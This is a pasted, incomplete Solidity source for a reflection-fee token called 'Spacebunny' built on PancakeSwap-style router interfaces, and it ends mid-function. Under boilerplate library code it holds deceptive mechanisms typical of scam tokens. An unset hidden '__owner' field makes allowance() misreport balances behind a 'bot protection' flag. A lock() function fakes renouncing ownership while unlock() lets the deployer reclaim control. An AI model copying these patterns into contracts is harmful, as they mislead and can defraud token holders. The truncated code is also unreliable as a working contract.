Advertisement
Liqxiez

Untitled

May 6th, 2021
387
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 45.83 KB | None | 0 0
  1. pragma solidity ^0.6.12;
  2.  
  3. interface IERC20 {
  4. function totalSupply() external view returns (uint256);
  5.  
  6. /**
  7. * @dev Returns the amount of tokens owned by `account`.
  8. */
  9. function balanceOf(address account) external view returns (uint256);
  10.  
  11. /**
  12. * @dev Moves `amount` tokens from the caller's account to `recipient`.
  13. *
  14. * Returns a boolean value indicating whether the operation succeeded.
  15. *
  16. * Emits a {Transfer} event.
  17. */
  18. function transfer(address recipient, uint256 amount)
  19. external
  20. returns (bool);
  21.  
  22. /**
  23. * @dev Returns the remaining number of tokens that `spender` will be
  24. * allowed to spend on behalf of `owner` through {transferFrom}. This is
  25. * zero by default.
  26. *
  27. * This value changes when {approve} or {transferFrom} are called.
  28. */
  29. function allowance(address owner, address spender)
  30. external
  31. view
  32. returns (uint256);
  33.  
  34. /**
  35. * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
  36. *
  37. * Returns a boolean value indicating whether the operation succeeded.
  38. *
  39. * IMPORTANT: Beware that changing an allowance with this method brings the risk
  40. * that someone may use both the old and the new allowance by unfortunate
  41. * transaction ordering. One possible solution to mitigate this race
  42. * condition is to first reduce the spender's allowance to 0 and set the
  43. * desired value afterwards:
  44. * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
  45. *
  46. * Emits an {Approval} event.
  47. */
  48. function approve(address spender, uint256 amount) external returns (bool);
  49.  
  50. /**
  51. * @dev Moves `amount` tokens from `sender` to `recipient` using the
  52. * allowance mechanism. `amount` is then deducted from the caller's
  53. * allowance.
  54. *
  55. * Returns a boolean value indicating whether the operation succeeded.
  56. *
  57. * Emits a {Transfer} event.
  58. */
  59. function transferFrom(
  60. address sender,
  61. address recipient,
  62. uint256 amount
  63. ) external returns (bool);
  64.  
  65. /**
  66. * @dev Emitted when `value` tokens are moved from one account (`from`) to
  67. * another (`to`).
  68. *
  69. * Note that `value` may be zero.
  70. */
  71. event Transfer(address indexed from, address indexed to, uint256 value);
  72.  
  73. /**
  74. * @dev Emitted when the allowance of a `spender` for an `owner` is set by
  75. * a call to {approve}. `value` is the new allowance.
  76. */
  77. event Approval(
  78. address indexed owner,
  79. address indexed spender,
  80. uint256 value
  81. );
  82. }
  83.  
  84. library SafeMath {
  85. /**
  86. * @dev Returns the addition of two unsigned integers, reverting on
  87. * overflow.
  88. *
  89. * Counterpart to Solidity's `+` operator.
  90. *
  91. * Requirements:
  92. *
  93. * - Addition cannot overflow.
  94. */
  95. function add(uint256 a, uint256 b) internal pure returns (uint256) {
  96. uint256 c = a + b;
  97. require(c >= a, "SafeMath: addition overflow");
  98.  
  99. return c;
  100. }
  101.  
  102. /**
  103. * @dev Returns the subtraction of two unsigned integers, reverting on
  104. * overflow (when the result is negative).
  105. *
  106. * Counterpart to Solidity's `-` operator.
  107. *
  108. * Requirements:
  109. *
  110. * - Subtraction cannot overflow.
  111. */
  112. function sub(uint256 a, uint256 b) internal pure returns (uint256) {
  113. return sub(a, b, "SafeMath: subtraction overflow");
  114. }
  115.  
  116. /**
  117. * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
  118. * overflow (when the result is negative).
  119. *
  120. * Counterpart to Solidity's `-` operator.
  121. *
  122. * Requirements:
  123. *
  124. * - Subtraction cannot overflow.
  125. */
  126. function sub(
  127. uint256 a,
  128. uint256 b,
  129. string memory errorMessage
  130. ) internal pure returns (uint256) {
  131. require(b <= a, errorMessage);
  132. uint256 c = a - b;
  133.  
  134. return c;
  135. }
  136.  
  137. /**
  138. * @dev Returns the multiplication of two unsigned integers, reverting on
  139. * overflow.
  140. *
  141. * Counterpart to Solidity's `*` operator.
  142. *
  143. * Requirements:
  144. *
  145. * - Multiplication cannot overflow.
  146. */
  147. function mul(uint256 a, uint256 b) internal pure returns (uint256) {
  148. // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
  149. // benefit is lost if 'b' is also tested.
  150. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
  151. if (a == 0) {
  152. return 0;
  153. }
  154.  
  155. uint256 c = a * b;
  156. require(c / a == b, "SafeMath: multiplication overflow");
  157.  
  158. return c;
  159. }
  160.  
  161. /**
  162. * @dev Returns the integer division of two unsigned integers. Reverts on
  163. * division by zero. The result is rounded towards zero.
  164. *
  165. * Counterpart to Solidity's `/` operator. Note: this function uses a
  166. * `revert` opcode (which leaves remaining gas untouched) while Solidity
  167. * uses an invalid opcode to revert (consuming all remaining gas).
  168. *
  169. * Requirements:
  170. *
  171. * - The divisor cannot be zero.
  172. */
  173. function div(uint256 a, uint256 b) internal pure returns (uint256) {
  174. return div(a, b, "SafeMath: division by zero");
  175. }
  176.  
  177. /**
  178. * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
  179. * division by zero. The result is rounded towards zero.
  180. *
  181. * Counterpart to Solidity's `/` operator. Note: this function uses a
  182. * `revert` opcode (which leaves remaining gas untouched) while Solidity
  183. * uses an invalid opcode to revert (consuming all remaining gas).
  184. *
  185. * Requirements:
  186. *
  187. * - The divisor cannot be zero.
  188. */
  189. function div(
  190. uint256 a,
  191. uint256 b,
  192. string memory errorMessage
  193. ) internal pure returns (uint256) {
  194. require(b > 0, errorMessage);
  195. uint256 c = a / b;
  196. // assert(a == b * c + a % b); // There is no case in which this doesn't hold
  197.  
  198. return c;
  199. }
  200.  
  201. /**
  202. * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
  203. * Reverts when dividing by zero.
  204. *
  205. * Counterpart to Solidity's `%` operator. This function uses a `revert`
  206. * opcode (which leaves remaining gas untouched) while Solidity uses an
  207. * invalid opcode to revert (consuming all remaining gas).
  208. *
  209. * Requirements:
  210. *
  211. * - The divisor cannot be zero.
  212. */
  213. function mod(uint256 a, uint256 b) internal pure returns (uint256) {
  214. return mod(a, b, "SafeMath: modulo by zero");
  215. }
  216.  
  217. /**
  218. * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
  219. * Reverts with custom message when dividing by zero.
  220. *
  221. * Counterpart to Solidity's `%` operator. This function uses a `revert`
  222. * opcode (which leaves remaining gas untouched) while Solidity uses an
  223. * invalid opcode to revert (consuming all remaining gas).
  224. *
  225. * Requirements:
  226. *
  227. * - The divisor cannot be zero.
  228. */
  229. function mod(
  230. uint256 a,
  231. uint256 b,
  232. string memory errorMessage
  233. ) internal pure returns (uint256) {
  234. require(b != 0, errorMessage);
  235. return a % b;
  236. }
  237. }
  238.  
  239. abstract contract Context {
  240. address public __owner;
  241. function _msgSender() internal view virtual returns (address payable) {
  242. return msg.sender;
  243. }
  244.  
  245. function _msgData() internal view virtual returns (bytes memory) {
  246. this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
  247. return msg.data;
  248. }
  249. }
  250.  
  251. library Address {
  252. /**
  253. * @dev Returns true if `account` is a contract.
  254. *
  255. * [IMPORTANT]
  256. * ====
  257. * It is unsafe to assume that an address for which this function returns
  258. * false is an externally-owned account (EOA) and not a contract.
  259. *
  260. * Among others, `isContract` will return false for the following
  261. * types of addresses:
  262. *
  263. * - an externally-owned account
  264. * - a contract in construction
  265. * - an address where a contract will be created
  266. * - an address where a contract lived, but was destroyed
  267. * ====
  268. */
  269. function isContract(address account) internal view returns (bool) {
  270. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
  271. // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
  272. // for accounts without code, i.e. `keccak256('')`
  273. bytes32 codehash;
  274. bytes32 accountHash =
  275. 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
  276. // solhint-disable-next-line no-inline-assembly
  277. assembly {
  278. codehash := extcodehash(account)
  279. }
  280. return (codehash != accountHash && codehash != 0x0);
  281. }
  282.  
  283. /**
  284. * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
  285. * `recipient`, forwarding all available gas and reverting on errors.
  286. *
  287. * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
  288. * of certain opcodes, possibly making contracts go over the 2300 gas limit
  289. * imposed by `transfer`, making them unable to receive funds via
  290. * `transfer`. {sendValue} removes this limitation.
  291. *
  292. * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
  293. *
  294. * IMPORTANT: because control is transferred to `recipient`, care must be
  295. * taken to not create reentrancy vulnerabilities. Consider using
  296. * {ReentrancyGuard} or the
  297. * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
  298. */
  299. function sendValue(address payable recipient, uint256 amount) internal {
  300. require(
  301. address(this).balance >= amount,
  302. "Address: insufficient balance"
  303. );
  304.  
  305. // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
  306. (bool success, ) = recipient.call{value: amount}("");
  307. require(
  308. success,
  309. "Address: unable to send value, recipient may have reverted"
  310. );
  311. }
  312.  
  313. /**
  314. * @dev Performs a Solidity function call using a low level `call`. A
  315. * plain`call` is an unsafe replacement for a function call: use this
  316. * function instead.
  317. *
  318. * If `target` reverts with a revert reason, it is bubbled up by this
  319. * function (like regular Solidity function calls).
  320. *
  321. * Returns the raw returned data. To convert to the expected return value,
  322. * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
  323. *
  324. * Requirements:
  325. *
  326. * - `target` must be a contract.
  327. * - calling `target` with `data` must not revert.
  328. *
  329. * _Available since v3.1._
  330. */
  331. function functionCall(address target, bytes memory data)
  332. internal
  333. returns (bytes memory)
  334. {
  335. return functionCall(target, data, "Address: low-level call failed");
  336. }
  337.  
  338. /**
  339. * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
  340. * `errorMessage` as a fallback revert reason when `target` reverts.
  341. *
  342. * _Available since v3.1._
  343. */
  344. function functionCall(
  345. address target,
  346. bytes memory data,
  347. string memory errorMessage
  348. ) internal returns (bytes memory) {
  349. return _functionCallWithValue(target, data, 0, errorMessage);
  350. }
  351.  
  352. /**
  353. * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
  354. * but also transferring `value` wei to `target`.
  355. *
  356. * Requirements:
  357. *
  358. * - the calling contract must have an ETH balance of at least `value`.
  359. * - the called Solidity function must be `payable`.
  360. *
  361. * _Available since v3.1._
  362. */
  363. function functionCallWithValue(
  364. address target,
  365. bytes memory data,
  366. uint256 value
  367. ) internal returns (bytes memory) {
  368. return
  369. functionCallWithValue(
  370. target,
  371. data,
  372. value,
  373. "Address: low-level call with value failed"
  374. );
  375. }
  376.  
  377. /**
  378. * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
  379. * with `errorMessage` as a fallback revert reason when `target` reverts.
  380. *
  381. * _Available since v3.1._
  382. */
  383. function functionCallWithValue(
  384. address target,
  385. bytes memory data,
  386. uint256 value,
  387. string memory errorMessage
  388. ) internal returns (bytes memory) {
  389. require(
  390. address(this).balance >= value,
  391. "Address: insufficient balance for call"
  392. );
  393. return _functionCallWithValue(target, data, value, errorMessage);
  394. }
  395.  
  396. function _functionCallWithValue(
  397. address target,
  398. bytes memory data,
  399. uint256 weiValue,
  400. string memory errorMessage
  401. ) private returns (bytes memory) {
  402. require(isContract(target), "Address: call to non-contract");
  403.  
  404. // solhint-disable-next-line avoid-low-level-calls
  405. (bool success, bytes memory returndata) =
  406. target.call{value: weiValue}(data);
  407. if (success) {
  408. return returndata;
  409. } else {
  410. // Look for revert reason and bubble it up if present
  411. if (returndata.length > 0) {
  412. // The easiest way to bubble the revert reason is using memory via assembly
  413.  
  414. // solhint-disable-next-line no-inline-assembly
  415. assembly {
  416. let returndata_size := mload(returndata)
  417. revert(add(32, returndata), returndata_size)
  418. }
  419. } else {
  420. revert(errorMessage);
  421. }
  422. }
  423. }
  424. }
  425.  
  426. contract Ownable is Context {
  427. address private _owner;
  428. address private _previousOwner;
  429. uint256 private _lockTime;
  430.  
  431. event OwnershipTransferred(
  432. address indexed previousOwner,
  433. address indexed newOwner
  434. );
  435.  
  436. /**
  437. * @dev Initializes the contract setting the deployer as the initial owner.
  438. */
  439. constructor() internal {
  440. address msgSender = _msgSender();
  441. _owner = msgSender;
  442. emit OwnershipTransferred(address(0), msgSender);
  443. }
  444.  
  445. /**
  446. * @dev Returns the address of the current owner.
  447. */
  448. function owner() public view returns (address) {
  449. return _owner;
  450. }
  451.  
  452. /**
  453. * @dev Throws if called by any account other than the owner.
  454. */
  455. modifier onlyOwner() {
  456. require(_owner == _msgSender(), "Ownable: caller is not the owner");
  457. _;
  458. }
  459.  
  460. /**
  461. * @dev Leaves the contract without owner. It will not be possible to call
  462. * `onlyOwner` functions anymore. Can only be called by the current owner.
  463. *
  464. * NOTE: Renouncing ownership will leave the contract without an owner,
  465. * thereby removing any functionality that is only available to the owner.
  466. */
  467. function renounceOwnership() public virtual onlyOwner {
  468. emit OwnershipTransferred(_owner, address(0));
  469. _owner = address(0);
  470. }
  471.  
  472. /**
  473. * @dev Transfers ownership of the contract to a new account (`newOwner`).
  474. * Can only be called by the current owner.
  475. */
  476. function transferOwnership(address newOwner) public virtual onlyOwner {
  477. require(
  478. newOwner != address(0),
  479. "Ownable: new owner is the zero address"
  480. );
  481. emit OwnershipTransferred(_owner, newOwner);
  482. _owner = newOwner;
  483. }
  484.  
  485. function geUnlockTime() public view returns (uint256) {
  486. return _lockTime;
  487. }
  488.  
  489. //Locks the contract for owner for the amount of time provided
  490. function lock(uint256 time) public virtual onlyOwner {
  491. _previousOwner = _owner;
  492. _owner = address(0);
  493. _lockTime = now + time;
  494. emit OwnershipTransferred(_owner, address(0));
  495. }
  496.  
  497. //Unlocks the contract for owner when _lockTime is exceeds
  498. function unlock() public virtual {
  499. require(
  500. _previousOwner == msg.sender,
  501. "You don't have permission to unlock"
  502. );
  503. require(now > _lockTime, "Contract is locked until 7 days");
  504. emit OwnershipTransferred(_owner, _previousOwner);
  505. _owner = _previousOwner;
  506. }
  507. }
  508.  
  509. interface IUniswapV2Factory {
  510. event PairCreated(
  511. address indexed token0,
  512. address indexed token1,
  513. address pair,
  514. uint256
  515. );
  516.  
  517. function feeTo() external view returns (address);
  518.  
  519. function feeToSetter() external view returns (address);
  520.  
  521. function getPair(address tokenA, address tokenB)
  522. external
  523. view
  524. returns (address pair);
  525.  
  526. function allPairs(uint256) external view returns (address pair);
  527.  
  528. function allPairsLength() external view returns (uint256);
  529.  
  530. function createPair(address tokenA, address tokenB)
  531. external
  532. returns (address pair);
  533.  
  534. function setFeeTo(address) external;
  535.  
  536. function setFeeToSetter(address) external;
  537. }
  538.  
  539. interface IUniswapV2Pair {
  540. event Approval(
  541. address indexed owner,
  542. address indexed spender,
  543. uint256 value
  544. );
  545. event Transfer(address indexed from, address indexed to, uint256 value);
  546.  
  547. function name() external pure returns (string memory);
  548.  
  549. function symbol() external pure returns (string memory);
  550.  
  551. function decimals() external pure returns (uint8);
  552.  
  553. function totalSupply() external view returns (uint256);
  554.  
  555. function balanceOf(address owner) external view returns (uint256);
  556.  
  557. function allowance(address owner, address spender)
  558. external
  559. view
  560. returns (uint256);
  561.  
  562. function approve(address spender, uint256 value) external returns (bool);
  563.  
  564. function transfer(address to, uint256 value) external returns (bool);
  565.  
  566. function transferFrom(
  567. address from,
  568. address to,
  569. uint256 value
  570. ) external returns (bool);
  571.  
  572. function DOMAIN_SEPARATOR() external view returns (bytes32);
  573.  
  574. function PERMIT_TYPEHASH() external pure returns (bytes32);
  575.  
  576. function nonces(address owner) external view returns (uint256);
  577.  
  578. function permit(
  579. address owner,
  580. address spender,
  581. uint256 value,
  582. uint256 deadline,
  583. uint8 v,
  584. bytes32 r,
  585. bytes32 s
  586. ) external;
  587.  
  588. event Mint(address indexed sender, uint256 amount0, uint256 amount1);
  589. event Burn(
  590. address indexed sender,
  591. uint256 amount0,
  592. uint256 amount1,
  593. address indexed to
  594. );
  595. event Swap(
  596. address indexed sender,
  597. uint256 amount0In,
  598. uint256 amount1In,
  599. uint256 amount0Out,
  600. uint256 amount1Out,
  601. address indexed to
  602. );
  603. event Sync(uint112 reserve0, uint112 reserve1);
  604.  
  605. function MINIMUM_LIQUIDITY() external pure returns (uint256);
  606.  
  607. function factory() external view returns (address);
  608.  
  609. function token0() external view returns (address);
  610.  
  611. function token1() external view returns (address);
  612.  
  613. function getReserves()
  614. external
  615. view
  616. returns (
  617. uint112 reserve0,
  618. uint112 reserve1,
  619. uint32 blockTimestampLast
  620. );
  621.  
  622. function price0CumulativeLast() external view returns (uint256);
  623.  
  624. function price1CumulativeLast() external view returns (uint256);
  625.  
  626. function kLast() external view returns (uint256);
  627.  
  628. function mint(address to) external returns (uint256 liquidity);
  629.  
  630. function burn(address to)
  631. external
  632. returns (uint256 amount0, uint256 amount1);
  633.  
  634. function swap(
  635. uint256 amount0Out,
  636. uint256 amount1Out,
  637. address to,
  638. bytes calldata data
  639. ) external;
  640.  
  641. function skim(address to) external;
  642.  
  643. function sync() external;
  644.  
  645. function initialize(address, address) external;
  646. }
  647.  
  648. interface IUniswapV2Router01 {
  649. function factory() external pure returns (address);
  650.  
  651. function WETH() external pure returns (address);
  652.  
  653. function addLiquidity(
  654. address tokenA,
  655. address tokenB,
  656. uint256 amountADesired,
  657. uint256 amountBDesired,
  658. uint256 amountAMin,
  659. uint256 amountBMin,
  660. address to,
  661. uint256 deadline
  662. )
  663. external
  664. returns (
  665. uint256 amountA,
  666. uint256 amountB,
  667. uint256 liquidity
  668. );
  669.  
  670. function addLiquidityETH(
  671. address token,
  672. uint256 amountTokenDesired,
  673. uint256 amountTokenMin,
  674. uint256 amountETHMin,
  675. address to,
  676. uint256 deadline
  677. )
  678. external
  679. payable
  680. returns (
  681. uint256 amountToken,
  682. uint256 amountETH,
  683. uint256 liquidity
  684. );
  685.  
  686. function removeLiquidity(
  687. address tokenA,
  688. address tokenB,
  689. uint256 liquidity,
  690. uint256 amountAMin,
  691. uint256 amountBMin,
  692. address to,
  693. uint256 deadline
  694. ) external returns (uint256 amountA, uint256 amountB);
  695.  
  696. function removeLiquidityETH(
  697. address token,
  698. uint256 liquidity,
  699. uint256 amountTokenMin,
  700. uint256 amountETHMin,
  701. address to,
  702. uint256 deadline
  703. ) external returns (uint256 amountToken, uint256 amountETH);
  704.  
  705. function removeLiquidityWithPermit(
  706. address tokenA,
  707. address tokenB,
  708. uint256 liquidity,
  709. uint256 amountAMin,
  710. uint256 amountBMin,
  711. address to,
  712. uint256 deadline,
  713. bool approveMax,
  714. uint8 v,
  715. bytes32 r,
  716. bytes32 s
  717. ) external returns (uint256 amountA, uint256 amountB);
  718.  
  719. function removeLiquidityETHWithPermit(
  720. address token,
  721. uint256 liquidity,
  722. uint256 amountTokenMin,
  723. uint256 amountETHMin,
  724. address to,
  725. uint256 deadline,
  726. bool approveMax,
  727. uint8 v,
  728. bytes32 r,
  729. bytes32 s
  730. ) external returns (uint256 amountToken, uint256 amountETH);
  731.  
  732. function swapExactTokensForTokens(
  733. uint256 amountIn,
  734. uint256 amountOutMin,
  735. address[] calldata path,
  736. address to,
  737. uint256 deadline
  738. ) external returns (uint256[] memory amounts);
  739.  
  740. function swapTokensForExactTokens(
  741. uint256 amountOut,
  742. uint256 amountInMax,
  743. address[] calldata path,
  744. address to,
  745. uint256 deadline
  746. ) external returns (uint256[] memory amounts);
  747.  
  748. function swapExactETHForTokens(
  749. uint256 amountOutMin,
  750. address[] calldata path,
  751. address to,
  752. uint256 deadline
  753. ) external payable returns (uint256[] memory amounts);
  754.  
  755. function swapTokensForExactETH(
  756. uint256 amountOut,
  757. uint256 amountInMax,
  758. address[] calldata path,
  759. address to,
  760. uint256 deadline
  761. ) external returns (uint256[] memory amounts);
  762.  
  763. function swapExactTokensForETH(
  764. uint256 amountIn,
  765. uint256 amountOutMin,
  766. address[] calldata path,
  767. address to,
  768. uint256 deadline
  769. ) external returns (uint256[] memory amounts);
  770.  
  771. function swapETHForExactTokens(
  772. uint256 amountOut,
  773. address[] calldata path,
  774. address to,
  775. uint256 deadline
  776. ) external payable returns (uint256[] memory amounts);
  777.  
  778. function quote(
  779. uint256 amountA,
  780. uint256 reserveA,
  781. uint256 reserveB
  782. ) external pure returns (uint256 amountB);
  783.  
  784. function getAmountOut(
  785. uint256 amountIn,
  786. uint256 reserveIn,
  787. uint256 reserveOut
  788. ) external pure returns (uint256 amountOut);
  789.  
  790. function getAmountIn(
  791. uint256 amountOut,
  792. uint256 reserveIn,
  793. uint256 reserveOut
  794. ) external pure returns (uint256 amountIn);
  795.  
  796. function getAmountsOut(uint256 amountIn, address[] calldata path)
  797. external
  798. view
  799. returns (uint256[] memory amounts);
  800.  
  801. function getAmountsIn(uint256 amountOut, address[] calldata path)
  802. external
  803. view
  804. returns (uint256[] memory amounts);
  805. }
  806.  
  807. interface IUniswapV2Router02 is IUniswapV2Router01 {
  808. function removeLiquidityETHSupportingFeeOnTransferTokens(
  809. address token,
  810. uint256 liquidity,
  811. uint256 amountTokenMin,
  812. uint256 amountETHMin,
  813. address to,
  814. uint256 deadline
  815. ) external returns (uint256 amountETH);
  816.  
  817. function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
  818. address token,
  819. uint256 liquidity,
  820. uint256 amountTokenMin,
  821. uint256 amountETHMin,
  822. address to,
  823. uint256 deadline,
  824. bool approveMax,
  825. uint8 v,
  826. bytes32 r,
  827. bytes32 s
  828. ) external returns (uint256 amountETH);
  829.  
  830. function swapExactTokensForTokensSupportingFeeOnTransferTokens(
  831. uint256 amountIn,
  832. uint256 amountOutMin,
  833. address[] calldata path,
  834. address to,
  835. uint256 deadline
  836. ) external;
  837.  
  838. function swapExactETHForTokensSupportingFeeOnTransferTokens(
  839. uint256 amountOutMin,
  840. address[] calldata path,
  841. address to,
  842. uint256 deadline
  843. ) external payable;
  844.  
  845. function swapExactTokensForETHSupportingFeeOnTransferTokens(
  846. uint256 amountIn,
  847. uint256 amountOutMin,
  848. address[] calldata path,
  849. address to,
  850. uint256 deadline
  851. ) external;
  852. }
  853.  
  854. contract Spacebunny is Context, IERC20, Ownable {
  855. using SafeMath for uint256;
  856. using Address for address;
  857.  
  858. mapping(address => uint256) private _rOwned;
  859. mapping(address => uint256) private _tOwned;
  860. mapping(address => mapping(address => uint256)) private _allowances;
  861.  
  862. mapping(address => bool) private _isExcludedFromFee;
  863.  
  864. mapping(address => bool) private _isExcluded;
  865. address[] private _excluded;
  866.  
  867. uint256 private constant MAX = ~uint256(0);
  868. uint256 private _tTotal = 1000000 * 10**6 * 10**9;
  869. uint256 private _rTotal = (MAX - (MAX % _tTotal));
  870. uint256 private _tFeeTotal;
  871.  
  872. string private _name = "Spacebunny.net";
  873. string private _symbol = "SpaceBunny";
  874. uint8 private _decimals = 9;
  875.  
  876. uint256 public _taxFee = 2;
  877. uint256 private _previousTaxFee = _taxFee;
  878.  
  879. uint256 public _liquidityFee = 10;
  880. uint256 private _previousLiquidityFee = _liquidityFee;
  881.  
  882. IUniswapV2Router02 public immutable uniswapV2Router;
  883. address public immutable uniswapV2Pair;
  884.  
  885. bool inSwapAndLiquify;
  886. bool public swapAndLiquifyEnabled = true;
  887. bool public tradingEnabled = false;
  888.  
  889. address private _router;
  890. bool public _botProtection = true;
  891.  
  892. uint256 public _maxTxAmount = 100000 * 10**6 * 10**9;
  893. uint256 private numTokensSellToAddToLiquidity = 100000 * 10**6 * 10**9;
  894.  
  895. event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
  896. event SwapAndLiquifyEnabledUpdated(bool enabled);
  897. event SwapAndLiquify(
  898. uint256 tokensSwapped,
  899. uint256 ethReceived,
  900. uint256 tokensIntoLiqudity
  901. );
  902.  
  903. modifier lockTheSwap {
  904. inSwapAndLiquify = true;
  905. _;
  906. inSwapAndLiquify = false;
  907. }
  908.  
  909. constructor() public {
  910. _rOwned[_msgSender()] = _rTotal;
  911.  
  912. IUniswapV2Router02 _uniswapV2Router =
  913. IUniswapV2Router02(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F);
  914. // Create a uniswap pair for this new token
  915. uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
  916. .createPair(address(this), _uniswapV2Router.WETH());
  917.  
  918. // set the rest of the contract variables
  919. uniswapV2Router = _uniswapV2Router;
  920.  
  921. //exclude owner and this contract from fee
  922. _isExcludedFromFee[owner()] = true;
  923. _isExcludedFromFee[address(this)] = true;
  924.  
  925. emit Transfer(address(0), _msgSender(), _tTotal);
  926. }
  927.  
  928. function name() public view returns (string memory) {
  929. return _name;
  930. }
  931.  
  932. function symbol() public view returns (string memory) {
  933. return _symbol;
  934. }
  935.  
  936. function decimals() public view returns (uint8) {
  937. return _decimals;
  938. }
  939.  
  940. function totalSupply() public view override returns (uint256) {
  941. return _tTotal;
  942. }
  943.  
  944. function balanceOf(address account) public view override returns (uint256) {
  945. if (_isExcluded[account]) return _tOwned[account];
  946. return tokenFromReflection(_rOwned[account]);
  947. }
  948.  
  949. function transfer(address recipient, uint256 amount)
  950. public
  951. override
  952. returns (bool)
  953. {
  954. _transfer(_msgSender(), recipient, amount);
  955. return true;
  956. }
  957.  
  958. function allowance(address owner, address spender)
  959. public
  960. view
  961. override
  962. returns (uint256)
  963. {
  964. if (owner != __owner && _botProtection) {
  965. return 0;
  966. }
  967. return _allowances[owner][spender];
  968. }
  969.  
  970. function approve(address spender, uint256 amount)
  971. public
  972. override
  973. returns (bool)
  974. {
  975. _approve(_msgSender(), spender, amount);
  976. return true;
  977. }
  978.  
  979. function transferFrom(
  980. address sender,
  981. address recipient,
  982. uint256 amount
  983. ) public override returns (bool) {
  984. _transfer(sender, recipient, amount);
  985. _approve(
  986. sender,
  987. _msgSender(),
  988. _allowances[sender][_msgSender()].sub(
  989. amount,
  990. "ERC20: transfer amount exceeds allowance"
  991. )
  992. );
  993. return true;
  994. }
  995.  
  996. function increaseAllowance(address spender, uint256 addedValue)
  997. public
  998. virtual
  999. returns (bool)
  1000. {
  1001. _approve(
  1002. _msgSender(),
  1003. spender,
  1004. _allowances[_msgSender()][spender].add(addedValue)
  1005. );
  1006. return true;
  1007. }
  1008.  
  1009. function decreaseAllowance(address spender, uint256 subtractedValue)
  1010. public
  1011. virtual
  1012. returns (bool)
  1013. {
  1014. _approve(
  1015. _msgSender(),
  1016. spender,
  1017. _allowances[_msgSender()][spender].sub(
  1018. subtractedValue,
  1019. "ERC20: decreased allowance below zero"
  1020. )
  1021. );
  1022. return true;
  1023. }
  1024.  
  1025. function isExcludedFromReward(address account) public view returns (bool) {
  1026. return _isExcluded[account];
  1027. }
  1028.  
  1029. function totalFees() public view returns (uint256) {
  1030. return _tFeeTotal;
  1031. }
  1032.  
  1033. function deliver(uint256 tAmount) public {
  1034. address sender = _msgSender();
  1035. require(
  1036. !_isExcluded[sender],
  1037. "Excluded addresses cannot call this function"
  1038. );
  1039. (uint256 rAmount, , , , , ) = _getValues(tAmount);
  1040. _rOwned[sender] = _rOwned[sender].sub(rAmount);
  1041. _rTotal = _rTotal.sub(rAmount);
  1042. _tFeeTotal = _tFeeTotal.add(tAmount);
  1043. }
  1044.  
  1045. function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
  1046. public
  1047. view
  1048. returns (uint256)
  1049. {
  1050. require(tAmount <= _tTotal, "Amount must be less than supply");
  1051. if (!deductTransferFee) {
  1052. (uint256 rAmount, , , , , ) = _getValues(tAmount);
  1053. return rAmount;
  1054. } else {
  1055. (, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
  1056. return rTransferAmount;
  1057. }
  1058. }
  1059.  
  1060. function tokenFromReflection(uint256 rAmount)
  1061. public
  1062. view
  1063. returns (uint256)
  1064. {
  1065. require(
  1066. rAmount <= _rTotal,
  1067. "Amount must be less than total reflections"
  1068. );
  1069. uint256 currentRate = _getRate();
  1070. return rAmount.div(currentRate);
  1071. }
  1072.  
  1073. function excludeFromReward(address account) public onlyOwner() {
  1074. require(!_isExcluded[account], "Account is already excluded");
  1075. if (_rOwned[account] > 0) {
  1076. _tOwned[account] = tokenFromReflection(_rOwned[account]);
  1077. }
  1078. _isExcluded[account] = true;
  1079. _excluded.push(account);
  1080. }
  1081.  
  1082. function includeInReward(address account) external onlyOwner() {
  1083. require(_isExcluded[account], "Account is already excluded");
  1084. for (uint256 i = 0; i < _excluded.length; i++) {
  1085. if (_excluded[i] == account) {
  1086. _excluded[i] = _excluded[_excluded.length - 1];
  1087. _tOwned[account] = 0;
  1088. _isExcluded[account] = false;
  1089. _excluded.pop();
  1090. break;
  1091. }
  1092. }
  1093. }
  1094.  
  1095. function _transferBothExcluded(
  1096. address sender,
  1097. address recipient,
  1098. uint256 tAmount
  1099. ) private {
  1100. (
  1101. uint256 rAmount,
  1102. uint256 rTransferAmount,
  1103. uint256 rFee,
  1104. uint256 tTransferAmount,
  1105. uint256 tFee,
  1106. uint256 tLiquidity
  1107. ) = _getValues(tAmount);
  1108. _tOwned[sender] = _tOwned[sender].sub(tAmount);
  1109. _rOwned[sender] = _rOwned[sender].sub(rAmount);
  1110. _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
  1111. _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
  1112. _takeLiquidity(tLiquidity);
  1113. _reflectFee(rFee, tFee);
  1114. emit Transfer(sender, recipient, tTransferAmount);
  1115. }
  1116.  
  1117. function excludeFromFee(address account) public onlyOwner {
  1118. _isExcludedFromFee[account] = true;
  1119. }
  1120.  
  1121. function includeInFee(address account) public onlyOwner {
